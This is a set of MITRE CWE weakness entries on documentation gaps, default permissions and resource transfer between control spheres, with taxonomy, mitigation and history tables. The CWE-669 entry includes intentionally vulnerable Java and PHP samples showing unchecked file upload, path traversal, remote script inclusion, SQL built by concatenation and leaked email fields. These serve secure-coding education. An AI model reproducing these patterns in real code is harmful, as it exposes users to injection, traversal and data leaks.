2020-02-24 CWE Content Team MITRE
updated Relationships
Back to top

CWE-1111: Incomplete I/O Documentation

Weakness ID: 1111
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product's documentation does not adequately define inputs, outputs, or system/software interfaces.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1059 Insufficient Technical Documentation
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1225 Documentation Issues
+ Weakness Ordinalities
Ordinality Description
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1375 ICS Engineering (Construction/Deployment): Gaps in Details/Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage PROHIBITED
(this CWE ID must not be used to map to real-world vulnerabilities)
Reason Other

Rationale

This entry is primarily a quality issue with no direct security implications.

Comments

Look for weaknesses that are focused specifically on insecure behaviors that have more direct security implications.
+ References
[REF-963] Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996-07.
<https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_MAKING_A_SCIENCE_OF_RISK_ASSESSMENT>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2018-07-02
(CWE 3.2, 2019-01-03) 		CWE Content Team MITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.
+ Modifications
Modification Date Modifier Organization
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
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CWE-1068: Inconsistency Between Implementation and Documented Design

Weakness ID: 1068
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
The implementation of the product is not consistent with the design as described within the relevant documentation.
+ Extended Description

This issue makes it more difficult to maintain the product due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 710 Improper Adherence to Coding Standards
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1225 Documentation Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Weakness Ordinalities
Ordinality Description
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage PROHIBITED
(this CWE ID must not be used to map to real-world vulnerabilities)
Reason Other

Rationale

This entry is primarily a quality issue with no direct security implications.

Comments

Look for weaknesses that are focused specifically on insecure behaviors that have more direct security implications.
+ References
[REF-963] Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996-07.
<https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_MAKING_A_SCIENCE_OF_RISK_ASSESSMENT>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2018-07-02
(CWE 3.2, 2019-01-03) 		CWE Content Team MITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.
+ Modifications
Modification Date Modifier Organization
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Description, Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
Back to top

CWE-276: Incorrect Default Permissions

Weakness ID: 276
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
During installation, installed file permissions are set to allow anyone to modify those files.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data; Modify Application Data

Scope: Confidentiality, Integrity

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; Operation
The architecture needs to access and modification attributes for files to only those users who actually require those actions.

Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 732 Incorrect Permission Assignment for Critical Resource
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 275 Permission Issues
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 732 Incorrect Permission Assignment for Critical Resource
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1198 Privilege Separation and Access Control Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
Installation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Executables installed world-writable.
Home directories installed world-readable.
World-writable log files allow information loss; world-readable file has cleartext passwords.
World-readable directory.
Windows product uses insecure permissions when installing on Solaris (genesis: port error).
Insecure permissions for a shared secret key file. Overlaps cryptographic problem.
Default permissions of a device allow IP spoofing.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Inter-application Flow Analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Host Application Interface Scanner
Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Forced Path Execution

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 743 CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 857 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 877 CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 946 SFP Secondary Cluster: Insecure Resource Permissions
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1147 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1376 ICS Engineering (Construction/Deployment): Security Gaps in Commissioning
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Insecure Default Permissions
CERT C Secure Coding FIO06-C Create files with appropriate access permissions
The CERT Oracle Secure Coding Standard for Java (2011) FIO01-J Create files with appropriate access permission
ISA/IEC 62443 Part 2-4 Req SP.03.08
ISA/IEC 62443 Part 4-2 Req CR 2.1
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Insecure Defaults", Page 69. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms
2022-06-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations
2020-08-20 CWE Content Team MITRE
updated Description, Modes_of_Introduction, Potential_Mitigations
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Description, Detection_Factors, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships, Type
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2009-05-27 CWE Content Team MITRE
updated Description, Name
2008-11-24 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-05-27 Insecure Default Permissions
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CWE-669: Incorrect Resource Transfer Between Spheres

Weakness ID: 669
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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Edit Custom Filter


+ Description
The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data; Modify Application Data; Unexpected State

Scope: Confidentiality, Integrity

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 664 Improper Control of a Resource Through its Lifetime
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 212 Improper Removal of Sensitive Information Before Storage or Transfer
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 243 Creation of chroot Jail Without Changing Working Directory
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 434 Unrestricted Upload of File with Dangerous Type
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 494 Download of Code Without Integrity Check
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 829 Inclusion of Functionality from Untrusted Control Sphere
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1420 Exposure of Sensitive Information during Transient Execution
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 244 Improper Clearing of Heap Memory Before Release ('Heap Inspection')
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 212 Improper Removal of Sensitive Information Before Storage or Transfer
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 434 Unrestricted Upload of File with Dangerous Type
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 494 Download of Code Without Integrity Check
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 565 Reliance on Cookies without Validation and Integrity Checking
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 829 Inclusion of Functionality from Untrusted Control Sphere
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Background Details
A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Demonstrative Examples

Example 1


The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

(good code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {
...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();


} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.



Example 2


This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

(bad code)
Example Language: PHP 
//assume the password is already encrypted, avoiding CWE-312

function authenticate($username,$password){

include("http://external.example.com/dbInfo.php");

//dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = 'Select * from users where username='.$username.' And password='.$password;
$result = mysql_query($query);

if(mysql_numrows($result) == 1){
mysql_close();
return true;
}
else{
mysql_close();
return false;
}

}

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.



Example 3


This code either generates a public HTML user information page or a JSON response containing the same user information.

(bad code)
Example Language: PHP 

// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
$record = getUserRecord($username);
foreach($record as $fieldName => $fieldValue)
{
if($fieldName == "email_address") {

// skip displaying user emails
continue;
}
else{
writeToHtmlPage($fieldName,$fieldValue);
}
}
}
else
{
$record = getUserRecord($username);
echo json_encode($record);
}

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494).
PHP-based FAQ management app does not check the MIME type for uploaded images
Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1416 Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-04-11
(CWE Draft 9, 2008-04-11) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships, Relevant_Properties
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-27 CWE Content Team MITRE
updated Common_Consequences
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-12-13 CWE Content Team MITRE
updated Relationships
2010-02-16 CWE Content Team MITRE
